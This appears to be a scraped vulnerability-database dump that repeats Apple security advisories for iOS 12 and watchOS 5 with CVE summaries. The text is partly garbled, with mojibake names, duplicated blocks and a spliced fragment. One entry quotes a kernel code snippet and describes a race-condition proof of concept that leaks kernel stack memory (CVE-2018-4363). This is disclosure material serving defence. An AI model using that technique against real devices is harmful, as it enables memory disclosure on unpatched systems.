and later, iPad Air and later, and iPod touch 6th generation Impact: An attacker in a privileged network position may be able to spoof password prompts in the iTunes Store Description: An input validation issue was addressed with improved input validation. CVE-2018-4305: Jerry Decime Kernel Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to read restricted memory Description: An input validation issue existed in the kernel. CVE-2018-4363: Ian Beer of Google Project Zero Messages Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A local user may be able to discover a user's deleted messages Description: A consistency issue existed in the handling of application snapshots. CVE-2018-4313: 11 anonymous researchers, David Scott, Enes Mert Ulu of Abdullah MA1/4rAide AzA1/4nenek Anadolu Lisesi - Ankara/TA1/4rkiye, Mehmet Ferit DaAtan of Van YA1/4zA1/4ncA1/4 YA+-l University, Metin Altug Karakaya of Kaliptus Medical Organization, Vinodh Swami of Western Governor's University (WGU) Notes Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A local user may be able to discover a user's deleted notes Description: A consistency issue existed in the handling of application snapshots. CVE-2018-4352: an anonymous researcher Safari Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A local user may be able to discover websites a user has visited Description: A consistency issue existed in the handling of application snapshots. CVE-2018-4313: 11 anonymous researchers, David Scott, Enes Mert Ulu of Abdullah MA1/4rAide AzA1/4nenek Anadolu Lisesi - Ankara/TA1/4rkiye, Mehmet Ferit DaAtan of Van YA1/4zA1/4ncA1/4 YA+-l University, Metin Altug Karakaya of Kaliptus Medical Organization, Vinodh Swami of Western Governor's University (WGU) Safari Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A user may be unable to delete browsing history items Description: Clearing a history item may not clear visits with redirect chains. CVE-2018-4329: Hugo S. Diaz (coldpointblue) Safari Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A malicious website may be able to exfiltrate autofilled data in Safari Description: A logic issue was addressed with improved state management. CVE-2018-4307: Rafay Baloch of Pakistan Telecommunications Authority SafariViewController Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Visiting a malicious website may lead to address bar spoofing Description: An inconsistent user interface issue was addressed with improved state management. CVE-2018-4362: Jun Kokatsu (@shhnjk) Security Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An attacker may be able to exploit weaknesses in the RC4 cryptographic algorithm Description: This issue was addressed by removing RC4. CVE-2016-1777: Pepi Zawodsky Status Bar Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A person with physical access to an iOS device may be able to determine the last used app from the lock screen Description: A logic issue was addressed with improved restrictions. CVE-2018-4325: Brian Adeloye Wi-Fi Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to read restricted memory Description: A validation issue was addressed with improved input sanitization. CVE-2018-4338: Lee @ SECLAB, Yonsei University working with Trend Micro's Zero Day Initiative Installation note: This update is available through iTunes and Software Update on your iOS device, and will not appear in your computer's Software Update application, or in the Apple Downloads site. Make sure you have an Internet connection and have installed the latest version of iTunes from https://www.apple.com/itunes/ iTunes and Software Update on the device will automatically check Apple's update server on its weekly schedule. When an update is detected, it is downloaded and the option to be installed is presented to the user when the iOS device is docked. We recommend applying the update immediately if possible. Selecting Don't Install will present the option the next time you connect your iOS device. The automatic update process may take up to a week depending on the day that iTunes or the device checks for updates. You may manually obtain the update via the Check for Updates button within iTunes, or the Software Update on your device. To check that the iPhone, iPod touch, or iPad has been updated: * Navigate to Settings * Select General * Select About. Information will also be posted to the Apple Security Updates web site: https://support.apple.com/kb/HT201222 This message is signed with Apple's Product Security PGP key, and details are available at: https://www.apple.com/support/security/pgp/ -----BEGIN PGP SIGNATURE----- iQIzBAEBCAAdFiEEDNXJVNCJJEAVmJdZeC9tht7TK3EFAluf5GIACgkQeC9tht7T K3G2mg//QBqaVSeHLeqL489OJmSvBtudWIDY1GhHJ5Xc8ox3ILDNLVZeBU+DIpqr Fb/slmBKhNM69CPf2fGC/Af2h3ZbUYVoANoyWfH+A/PYzFV726w5WHaq4QZndauO urHsrE/lH8CvDFS6lzp0OdGV5hVIGQ3hoYiF0lYmIdzCDQYwvFp+pn2I3b37Io8K 5/cjRiYp+uq2NAKLm6hx8yq0NtYAQyQTsk6ZAsGlilmydLJDGnaeJE80wk7EBd8f rkdtqzs5B5ohHVYLcoGgMUrE7qyLpqwXjkfIJO8bkk1IqlbMwjmhOJVRPaHWtj5Y 8Ouc2ebMfpFimk9+ODBUYMCsQJgQw8P6pW3gfSpiheIOPc65KzoaAdg+nOfmPwJK LR9CDMJauwYHf1I2RrMzDBflV1HIPurYciHBZKn6IH4f3KNIu5PGNTnHFgln6MxT D11WXuxNfvc2B1hRIRHXD2OB1+rh5Q+tkb+AEauHzIFWgl7otx6EZhiu7W8Mxa22 k6s/Fo1UZI1GbnNjU9ugEumxH8w0WQNQZOOH3FI07aA7F2FVcTVXL4uaIoHzZR0N ZmC/RvsQNGmw8L+DRWedEHda/rieAgMHkJxrjF0Day9PqY50YL7F+7qaw2J6Tmpo r5jDothh/1TQbkE5G8oOaT3Y3iOtDcMqh0T7jRxIP7awQMKce9M= =1Ld6 -----END PGP SIGNATURE-----
VAR-201904-1466 CVE-2018-4352 iOS Inconsistency vulnerability in application snapshot processing CVSS V2: 2.1
CVSS V3: 3.3
Severity: LOW
A consistency issue existed in the handling of application snapshots. The issue was addressed with improved handling of notes deletions. This issue affected versions prior to iOS 12. iOS The application's snapshot process is flawed in the process of deleting notes, so there is an inconsistency vulnerability.Information may be obtained. Apple iOS is prone to multiple security vulnerabilities. Attackers can exploit these issues to gain sensitive information, bypass security mechanisms, and conduct spoofing attacks and perform unauthorized actions. Notes is one of the memo components. A local attacker could exploit this vulnerability to discover the contents of a user's deleted notes. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 APPLE-SA-2018-9-17-1 iOS 12 iOS 12 is now available and addresses the following: Accounts Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A local app may be able to read a persistent account identifier Description: This issue was addressed with improved entitlements. CVE-2018-4322: Min (Spark) Zheng, Xiaolong Bai of Alibaba Inc. Bluetooth Available for: iPhone SE, iPhone 6s, iPhone 6s Plus, iPhone 7, iPhone 7 Plus, iPad Mini 4, 12.9-inch iPad Pro 1st generation, 12.9-inch iPad Pro 2nd generation, 10.5-inch iPad Pro, 9.7-inch iPad Pro, iPad 5th generation, and iPod Touch 6th generation Impact: An attacker in a privileged network position may be able to intercept Bluetooth traffic Description: An input validation issue existed in Bluetooth. CVE-2018-5383: Lior Neumann and Eli Biham Core Bluetooth Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to execute arbitrary code with system privileges Description: A memory corruption issue was addressed with improved memory handling. CVE-2018-4330: Apple CoreMedia Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An app may be able to learn information about the current camera view before being granted camera access Description: A permissions issue existed. CVE-2018-4356: an anonymous researcher IOMobileFrameBuffer Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to read restricted memory Description: A validation issue was addressed with improved input sanitization. CVE-2018-4335: Brandon Azad iTunes Store Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An attacker in a privileged network position may be able to spoof password prompts in the iTunes Store Description: An input validation issue was addressed with improved input validation. CVE-2018-4305: Jerry Decime Kernel Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to read restricted memory Description: An input validation issue existed in the kernel. CVE-2018-4363: Ian Beer of Google Project Zero Messages Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A local user may be able to discover a user's deleted messages Description: A consistency issue existed in the handling of application snapshots. CVE-2018-4313: 11 anonymous researchers, David Scott, Enes Mert Ulu of Abdullah MA1/4rAide AzA1/4nenek Anadolu Lisesi - Ankara/TA1/4rkiye, Mehmet Ferit DaAtan of Van YA1/4zA1/4ncA1/4 YA+-l University, Metin Altug Karakaya of Kaliptus Medical Organization, Vinodh Swami of Western Governor's University (WGU) Notes Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A local user may be able to discover a user's deleted notes Description: A consistency issue existed in the handling of application snapshots. CVE-2018-4352: an anonymous researcher Safari Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A local user may be able to discover websites a user has visited Description: A consistency issue existed in the handling of application snapshots. CVE-2018-4313: 11 anonymous researchers, David Scott, Enes Mert Ulu of Abdullah MA1/4rAide AzA1/4nenek Anadolu Lisesi - Ankara/TA1/4rkiye, Mehmet Ferit DaAtan of Van YA1/4zA1/4ncA1/4 YA+-l University, Metin Altug Karakaya of Kaliptus Medical Organization, Vinodh Swami of Western Governor's University (WGU) Safari Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A user may be unable to delete browsing history items Description: Clearing a history item may not clear visits with redirect chains. CVE-2018-4329: Hugo S. Diaz (coldpointblue) Safari Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A malicious website may be able to exfiltrate autofilled data in Safari Description: A logic issue was addressed with improved state management. CVE-2018-4307: Rafay Baloch of Pakistan Telecommunications Authority SafariViewController Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Visiting a malicious website may lead to address bar spoofing Description: An inconsistent user interface issue was addressed with improved state management. CVE-2018-4362: Jun Kokatsu (@shhnjk) Security Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An attacker may be able to exploit weaknesses in the RC4 cryptographic algorithm Description: This issue was addressed by removing RC4. CVE-2016-1777: Pepi Zawodsky Status Bar Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A person with physical access to an iOS device may be able to determine the last used app from the lock screen Description: A logic issue was addressed with improved restrictions. CVE-2018-4325: Brian Adeloye Wi-Fi Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to read restricted memory Description: A validation issue was addressed with improved input sanitization. CVE-2018-4338: Lee @ SECLAB, Yonsei University working with Trend Micro's Zero Day Initiative Installation note: This update is available through iTunes and Software Update on your iOS device, and will not appear in your computer's Software Update application, or in the Apple Downloads site. Make sure you have an Internet connection and have installed the latest version of iTunes from https://www.apple.com/itunes/ iTunes and Software Update on the device will automatically check Apple's update server on its weekly schedule. When an update is detected, it is downloaded and the option to be installed is presented to the user when the iOS device is docked. We recommend applying the update immediately if possible. Selecting Don't Install will present the option the next time you connect your iOS device. The automatic update process may take up to a week depending on the day that iTunes or the device checks for updates. You may manually obtain the update via the Check for Updates button within iTunes, or the Software Update on your device. To check that the iPhone, iPod touch, or iPad has been updated: * Navigate to Settings * Select General * Select About. Information will also be posted to the Apple Security Updates web site: https://support.apple.com/kb/HT201222 This message is signed with Apple's Product Security PGP key, and details are available at: https://www.apple.com/support/security/pgp/ -----BEGIN PGP SIGNATURE----- iQIzBAEBCAAdFiEEDNXJVNCJJEAVmJdZeC9tht7TK3EFAluf5GIACgkQeC9tht7T K3G2mg//QBqaVSeHLeqL489OJmSvBtudWIDY1GhHJ5Xc8ox3ILDNLVZeBU+DIpqr Fb/slmBKhNM69CPf2fGC/Af2h3ZbUYVoANoyWfH+A/PYzFV726w5WHaq4QZndauO urHsrE/lH8CvDFS6lzp0OdGV5hVIGQ3hoYiF0lYmIdzCDQYwvFp+pn2I3b37Io8K 5/cjRiYp+uq2NAKLm6hx8yq0NtYAQyQTsk6ZAsGlilmydLJDGnaeJE80wk7EBd8f rkdtqzs5B5ohHVYLcoGgMUrE7qyLpqwXjkfIJO8bkk1IqlbMwjmhOJVRPaHWtj5Y 8Ouc2ebMfpFimk9+ODBUYMCsQJgQw8P6pW3gfSpiheIOPc65KzoaAdg+nOfmPwJK LR9CDMJauwYHf1I2RrMzDBflV1HIPurYciHBZKn6IH4f3KNIu5PGNTnHFgln6MxT D11WXuxNfvc2B1hRIRHXD2OB1+rh5Q+tkb+AEauHzIFWgl7otx6EZhiu7W8Mxa22 k6s/Fo1UZI1GbnNjU9ugEumxH8w0WQNQZOOH3FI07aA7F2FVcTVXL4uaIoHzZR0N ZmC/RvsQNGmw8L+DRWedEHda/rieAgMHkJxrjF0Day9PqY50YL7F+7qaw2J6Tmpo r5jDothh/1TQbkE5G8oOaT3Y3iOtDcMqh0T7jRxIP7awQMKce9M= =1Ld6 -----END PGP SIGNATURE-----
VAR-201904-1477 CVE-2018-4363 plural Apple Product input validation vulnerability CVSS V2: 7.1
CVSS V3: 5.5
Severity: MEDIUM
An input validation issue existed in the kernel. This issue was addressed with improved input validation. This issue affected versions prior to iOS 12, tvOS 12, watchOS 5. Both Apple iOS and tvOS are products of Apple Inc. in the United States. Apple iOS is an operating system developed for mobile devices. Kernel is one of the kernel components. tvOS is a smart TV operating system. An attacker can exploit this vulnerability to read restricted memory. iOS kernel stack memory disclosure due to failure to check copyin return value CVE-2018-4363 Here's a code snippet from sleh.c with the second level exception handler for undefined instruction exceptions: static void handle_uncategorized(arm_saved_state_t *state, boolean_t instrLen2) { exception_type_t exception = EXC_BAD_INSTRUCTION; mach_exception_data_type_t codes[2] = {EXC_ARM_UNDEFINED}; mach_msg_type_number_t numcodes = 2; uint32_t instr; <------ (a) if (instrLen2) { uint16_t instr16; COPYIN(get_saved_state_pc(state), (char *)&instr16, sizeof(instr16)); instr = instr16; } else { COPYIN(get_saved_state_pc(state), (char *)&instr, sizeof(instr)); <------- (b) } .... else { codes[1] = instr; <------ (c) } } exception_triage(exception, codes, numcodes); <-------- (d) At (a) the uint32_t instr is declared uninitialized on the stack. At (b) the code tries to copyin the bytes of the exception-causing instruction from userspace note that the COPYIN macro doesn't itself check the return value of copyin, it just calls it. At (c) instr is assigned to codes[1], which at (d) is passed to exception_triage. that codes array will eventually end up being sent in an exception mach message. The bug is that we can force copyin to fail by unmapping the page containing the undefined instruction while it's being handled. (I tried to do this with XO memory but the kernel seems to be able to copyin that just fine.) This PoC has an undefined instruction (0xdeadbeef) on its own page and spins up a thread to keep switching the protection of that page between VM_PROT_NONE and VM_PROT_READ|VM_PROT_EXECUTE. We then keep spinning up threads which try to execute that undefined instruction. If the race windows align the thread executes the undefined instruction but when the sleh code tries to copyin the page is unmapped, the copying fails and the exception message we get has stale stack memory. This PoC just demonstrates that you do get values which aren't 0xdeadbeef in there for the EXC_ARM_UNDEFINED type. You'd have to do a bit more fiddling to work out how to get something specific there. Note that there are lots of other unchecked COPYIN's in sleh.c (eg when userspace tries to access a system register not allowed for EL0) and these seem to have the same issue. tested on iPod Touch 6g running 11.3.1, but looking at the kernelcache it seems to still be there in iOS 12. Found by: ianbeer . CVE-2018-4322: Min (Spark) Zheng, Xiaolong Bai of Alibaba Inc. Bluetooth Available for: iPhone SE, iPhone 6s, iPhone 6s Plus, iPhone 7, iPhone 7 Plus, iPad Mini 4, 12.9-inch iPad Pro 1st generation, 12.9-inch iPad Pro 2nd generation, 10.5-inch iPad Pro, 9.7-inch iPad Pro, iPad 5th generation, and iPod Touch 6th generation Impact: An attacker in a privileged network position may be able to intercept Bluetooth traffic Description: An input validation issue existed in Bluetooth. CVE-2018-4329: Hugo S. CVE-2018-4338: Lee @ SECLAB, Yonsei University working with Trend Micro's Zero Day Initiative Installation note: This update is available through iTunes and Software Update on your iOS device, and will not appear in your computer's Software Update application, or in the Apple Downloads site. Make sure you have an Internet connection and have installed the latest version of iTunes from https://www.apple.com/itunes/ iTunes and Software Update on the device will automatically check Apple's update server on its weekly schedule. When an update is detected, it is downloaded and the option to be installed is presented to the user when the iOS device is docked. We recommend applying the update immediately if possible. Selecting Don't Install will present the option the next time you connect your iOS device. The automatic update process may take up to a week depending on the day that iTunes or the device checks for updates. You may manually obtain the update via the Check for Updates button within iTunes, or the Software Update on your device. To check that the iPhone, iPod touch, or iPad has been updated: * Navigate to Settings * Select General * Select About. WebKit We would like to acknowledge Cary Hartline, Hanming Zhang from 360 Vuclan team, and Zach Malone of CA Technologies for their assistance. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 APPLE-SA-2018-10-30-10 Additional information for APPLE-SA-2018-9-24-5 watchOS 5 watchOS 5 addresses the following: CFNetwork Available for: Apple Watch Series 1 and later Impact: An application may be able to execute arbitrary code with system privileges Description: A memory corruption issue was addressed with improved memory handling. CVE-2018-4126: Bruno Keith (@bkth_) working with Trend Micro's Zero Day Initiative Entry added October 30, 2018 CoreFoundation Available for: Apple Watch Series 1 and later Impact: A malicious application may be able to elevate privileges Description: A memory corruption issue was addressed with improved input validation. CVE-2018-4412: The UK's National Cyber Security Centre (NCSC) Entry added October 30, 2018 CoreFoundation Available for: Apple Watch Series 1 and later Impact: An application may be able to gain elevated privileges Description: A memory corruption issue was addressed with improved input validation. CVE-2018-4414: The UK's National Cyber Security Centre (NCSC) Entry added October 30, 2018 CoreText Available for: Apple Watch Series 1 and later Impact: Processing a maliciously crafted text file may lead to arbitrary code execution Description: A use after free issue was addressed with improved memory management. CVE-2018-4347: an anonymous researcher Entry added October 30, 2018 Grand Central Dispatch Available for: Apple Watch Series 1 and later Impact: An application may be able to execute arbitrary code with system privileges Description: A memory corruption issue was addressed with improved memory handling. CVE-2018-4426: Brandon Azad Entry added October 30, 2018 Heimdal Available for: Apple Watch Series 1 and later Impact: An application may be able to execute arbitrary code with system privileges Description: A memory corruption issue was addressed with improved memory handling. CVE-2018-4331: Brandon Azad CVE-2018-4332: Brandon Azad CVE-2018-4343: Brandon Azad Entry added October 30, 2018 IOHIDFamily Available for: Apple Watch Series 1 and later Impact: A malicious application may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue was addressed with improved input validation CVE-2018-4408: Ian Beer of Google Project Zero Entry added October 30, 2018 IOKit Available for: Apple Watch Series 1 and later Impact: A malicious application may be able to break out of its sandbox Description: A memory corruption issue was addressed with improved memory handling. CVE-2018-4341: Ian Beer of Google Project Zero CVE-2018-4354: Ian Beer of Google Project Zero Entry added October 30, 2018 IOKit Available for: Apple Watch Series 1 and later Impact: An application may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue was addressed with improved state management. CVE-2018-4383: Apple Entry added October 30, 2018 IOUserEthernet Available for: Apple Watch Series 1 and later Impact: An application may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue was addressed with improved memory handling. CVE-2018-4401: Apple Entry added October 30, 2018 iTunes Store Available for: Apple Watch Series 1 and later Impact: An attacker in a privileged network position may be able to spoof password prompts in the iTunes Store Description: An input validation issue was addressed with improved input validation. CVE-2018-4305: Jerry Decime Kernel Available for: Apple Watch Series 1 and later Impact: A malicious application may be able to leak sensitive user information Description: An access issue existed with privileged API calls. CVE-2018-4399: Fabiano Anemone (@anoane) Entry added October 30, 2018 Kernel Available for: Apple Watch Series 1 and later Impact: An application may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue was addressed with improved memory handling. CVE-2018-4336: Brandon Azad CVE-2018-4337: Ian Beer of Google Project Zero CVE-2018-4340: Mohamed Ghannam (@_simo36) CVE-2018-4344: The UK's National Cyber Security Centre (NCSC) CVE-2018-4425: cc working with Trend Micro's Zero Day Initiative, Juwei Lin (@panicaII) of Trend Micro working with Trend Micro's Zero Day Initiative Entry added October 30, 2018 Kernel Available for: Apple Watch Series 1 and later Impact: An application may be able to read restricted memory Description: An input validation issue existed in the kernel. CVE-2018-4363: Ian Beer of Google Project Zero Kernel Available for: Apple Watch Series 1 and later Impact: An attacker in a privileged network position may be able to execute arbitrary code Description: A memory corruption issue was addressed with improved validation. CVE-2018-4407: Kevin Backhouse of Semmle Ltd. Entry added October 30, 2018 Safari Available for: Apple Watch Series 1 and later Impact: A local user may be able to discover websites a user has visited Description: A consistency issue existed in the handling of application snapshots. CVE-2018-4313: 11 anonymous researchers, David Scott, Enes Mert Ulu of Abdullah MA1/4rAide AzA1/4nenek Anadolu Lisesi - Ankara/TA1/4rkiye, Mehmet Ferit DaAtan of Van YA1/4zA1/4ncA1/4 YA+-l University, Metin Altug Karakaya of Kaliptus Medical Organization, Vinodh Swami of Western Governor's University (WGU) Security Available for: Apple Watch Series 1 and later Impact: A local user may be able to cause a denial of service Description: This issue was addressed with improved checks. CVE-2018-4395: Patrick Wardle of Digita Security Entry added October 30, 2018 Security Available for: Apple Watch Series 1 and later Impact: An attacker may be able to exploit weaknesses in the RC4 cryptographic algorithm Description: This issue was addressed by removing RC4. CVE-2016-1777: Pepi Zawodsky Symptom Framework Available for: Apple Watch Series 1 and later Impact: An application may be able to read restricted memory Description: An out-of-bounds read was addressed with improved bounds checking. CVE-2018-4203: Bruno Keith (@bkth_) working with Trend Micro's Zero Day Initiative Entry added October 30, 2018 Text Available for: Apple Watch Series 1 and later Impact: Processing a maliciously crafted text file may lead to a denial of service Description: A denial of service issue was addressed with improved validation. CVE-2018-4304: jianan.huang (@Sevck) Entry added October 30, 2018 WebKit Available for: Apple Watch Series 1 and later Impact: Unexpected interaction causes an ASSERT failure Description: A memory corruption issue was addressed with improved validation. CVE-2018-4191: found by OSS-Fuzz WebKit Available for: Apple Watch Series 1 and later Impact: Cross-origin SecurityErrors includes the accessed frame's origin Description: The issue was addressed by removing origin information. CVE-2018-4311: Erling Alf Ellingsen (@steike) WebKit Available for: Apple Watch Series 1 and later Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: Multiple memory corruption issues were addressed with improved memory handling. CVE-2018-4299: Samuel GroI2 (saelo) working with Trend Micro's Zero Day Initiative CVE-2018-4358: @phoenhex team (@bkth_ @5aelo @_niklasb) working with Trend Micro's Zero Day Initiative CVE-2018-4359: Samuel GroA (@5aelo) WebKit Available for: Apple Watch Series 1 and later Impact: A malicious website may cause unexepected cross-origin behavior Description: A cross-origin issue existed with "iframe" elements. CVE-2018-4319: John Pettitt of Google WebKit Available for: Apple Watch Series 1 and later Impact: Unexpected interaction causes an ASSERT failure Description: A memory consumption issue was addressed with improved memory handling. CVE-2018-4361: found by OSS-Fuzz Additional recognition Core Data We would like to acknowledge Andreas Kurtz (@aykay) of NESO Security Labs GmbH for their assistance. Kernel We would like to acknowledge Brandon Azad for their assistance. Sandbox Profiles We would like to acknowledge Tencent Keen Security Lab working with Trend Micro's Zero Day Initiative for their assistance. SQLite We would like to acknowledge Andreas Kurtz (@aykay) of NESO Security Labs GmbH for their assistance. WebKit We would like to acknowledge Tencent Keen Security Lab working with Trend Micro's Zero Day Initiative for their assistance. Installation note: Instructions on how to update your Apple Watch software are available at https://support.apple.com/kb/HT204641 To check the version on your Apple Watch, open the Apple Watch app on your iPhone and select "My Watch > General > About". Alternatively, on your watch, select "My Watch > General > About". Information will also be posted to the Apple Security Updates web site: https://support.apple.com/kb/HT201222 This message is signed with Apple's Product Security PGP key, and details are available at: https://www.apple.com/support/security/pgp/ -----BEGIN PGP SIGNATURE----- iQJdBAEBCABHFiEEDNXJVNCJJEAVmJdZeC9tht7TK3EFAlvYkgUpHHByb2R1Y3Qt c2VjdXJpdHktbm9yZXBseUBsaXN0cy5hcHBsZS5jb20ACgkQeC9tht7TK3GbihAA rJrGRlOECVnj/z6kzobQ6SjqeXQanrEJKOEbP12pOEgOcqhJd/CsRIGMGxtG8cRC H60/qGsVtDXhqmGZQl2cBaMeg+bagLvSaRUC6urXqYLIKoGay7zsbQyWS4hAbyNu Gpu0k5bvb2tr3IZIfqHfUcScxpsB3zJiYejtgLow2MDbkt84qNqx73xYbOIXDJoc kfyNhb/RKqiXOi5Yvh+E84GARjUSGUFD5fMbIMu7Lf0cwGpL3XakKG8S+8L0W3/W vGsl7V8DWeH6qbVoMkLUxWGxWzCd4bUr88J0cybski3L4SvpYbDPMMKxQkyn4Rfq qSDG3RMS0MUeoGn/iwRcJ8p6gPMGjWTT+lvX0XaZzG3b/mkOw8C2jRs1Ds8vUbRB Pxn1AQvg0x+EW/HIKqrvbE6i5pLjhurHYChy9tI9AS2iSHsAnrSB8DV8mc4T4v6a zJqJO5qPPCVJ9K328l+FyXe+X5erQP4/dwol71VjweA/peSJCL34/YL3oSs9e41R ApabYVIphnq0Ion5gVNancPhgQEbkIjMncFiGRg4wF0jly2Ni+NsnDquTKEM3VvG mOlo0VVw3XxLhtiQF/RKbQSy+6dK0YGykIsmnz/DsstxS4xRiWbk75XErA/nSwPs fHAicxI2AmpI+PbdYcPI4D3eJr/1ZDH8NvY1897WX5c= =fz+z -----END PGP SIGNATURE-----
VAR-201904-1425 CVE-2018-4335 iOS Input validation vulnerability CVSS V2: 4.3
CVSS V3: 5.5
Severity: MEDIUM
A validation issue was addressed with improved input sanitization. This issue affected versions prior to iOS 12. Apple iOS is prone to multiple security vulnerabilities. Attackers can exploit these issues to gain sensitive information, bypass security mechanisms, and conduct spoofing attacks and perform unauthorized actions. IOMobileFrameBuffer is one of the connection frames used for screenshots. An attacker could exploit this vulnerability to read restricted memory. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 APPLE-SA-2018-9-24-4 Additional information for APPLE-SA-2018-9-17-1 iOS 12 iOS 12 addresses the following: Accounts Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A local app may be able to read a persistent account identifier Description: This issue was addressed with improved entitlements. CVE-2018-4322: Min (Spark) Zheng, Xiaolong Bai of Alibaba Inc. Auto Unlock Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A malicious application may be able to access local users AppleIDs Description: A validation issue existed in the entitlement verification. CVE-2018-4321: Min (Spark) Zheng, Xiaolong Bai of Alibaba Inc. Entry added September 24, 2018 Bluetooth Available for: iPhone SE, iPhone 6s, iPhone 6s Plus, iPhone 7, iPhone 7 Plus, iPad Mini 4, 12.9-inch iPad Pro 1st generation, 12.9-inch iPad Pro 2nd generation, 10.5-inch iPad Pro, 9.7-inch iPad Pro, iPad 5th generation, and iPod Touch 6th generation Impact: An attacker in a privileged network position may be able to intercept Bluetooth traffic Description: An input validation issue existed in Bluetooth. CVE-2018-5383: Lior Neumann and Eli Biham CoreMedia Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An app may be able to learn information about the current camera view before being granted camera access Description: A permissions issue existed. CVE-2018-4356: an anonymous researcher Crash Reporter Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to read restricted memory Description: A validation issue was addressed with improved input sanitization. CVE-2018-4333: Brandon Azad Entry added September 24, 2018 IOMobileFrameBuffer Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to read restricted memory Description: A validation issue was addressed with improved input sanitization. CVE-2018-4335: Brandon Azad iTunes Store Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An attacker in a privileged network position may be able to spoof password prompts in the iTunes Store Description: An input validation issue was addressed with improved input validation. CVE-2018-4305: Jerry Decime Kernel Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to read restricted memory Description: An input validation issue existed in the kernel. CVE-2018-4363: Ian Beer of Google Project Zero Kernel Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue was addressed with improved memory handling. CVE-2018-4336: Brandon Azad CVE-2018-4344: The UK's National Cyber Security Centre (NCSC) Entry added September 24, 2018 Messages Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A local user may be able to discover a user's deleted messages Description: A consistency issue existed in the handling of application snapshots. CVE-2018-4313: 11 anonymous researchers, David Scott, Enes Mert Ulu of Abdullah MA1/4rAide AzA1/4nenek Anadolu Lisesi - Ankara/TA1/4rkiye, Mehmet Ferit DaAtan of Van YA1/4zA1/4ncA1/4 YA+-l University, Metin Altug Karakaya of Kaliptus Medical Organization, Vinodh Swami of Western Governor's University (WGU) Notes Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A local user may be able to discover a user's deleted notes Description: A consistency issue existed in the handling of application snapshots. CVE-2018-4352: an anonymous researcher Safari Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A local user may be able to discover websites a user has visited Description: A consistency issue existed in the handling of application snapshots. CVE-2018-4313: 11 anonymous researchers, David Scott, Enes Mert Ulu of Abdullah MA1/4rAide AzA1/4nenek Anadolu Lisesi - Ankara/TA1/4rkiye, Mehmet Ferit DaAtan of Van YA1/4zA1/4ncA1/4 YA+-l University, Metin Altug Karakaya of Kaliptus Medical Organization, Vinodh Swami of Western Governor's University (WGU) Safari Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A user may be unable to delete browsing history items Description: Clearing a history item may not clear visits with redirect chains. CVE-2018-4329: Hugo S. Diaz (coldpointblue) SafariViewController Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Visiting a malicious website may lead to address bar spoofing Description: An inconsistent user interface issue was addressed with improved state management. CVE-2018-4362: Jun Kokatsu (@shhnjk) Security Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A malicious website may be able to exfiltrate autofilled data in Safari Description: A logic issue was addressed with improved state management. CVE-2018-4307: Rafay Baloch of Pakistan Telecommunications Authority Security Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An attacker may be able to exploit weaknesses in the RC4 cryptographic algorithm Description: This issue was addressed by removing RC4. CVE-2016-1777: Pepi Zawodsky Status Bar Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A person with physical access to an iOS device may be able to determine the last used app from the lock screen Description: A logic issue was addressed with improved restrictions. CVE-2018-4325: Brian Adeloye WebKit Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: A memory corruption issue was addressed with improved state management. CVE-2018-4316: crixer, Hanming Zhang (@4shitak4) of Qihoo 360 Vulcan Team Entry added September 24, 2018 WebKit 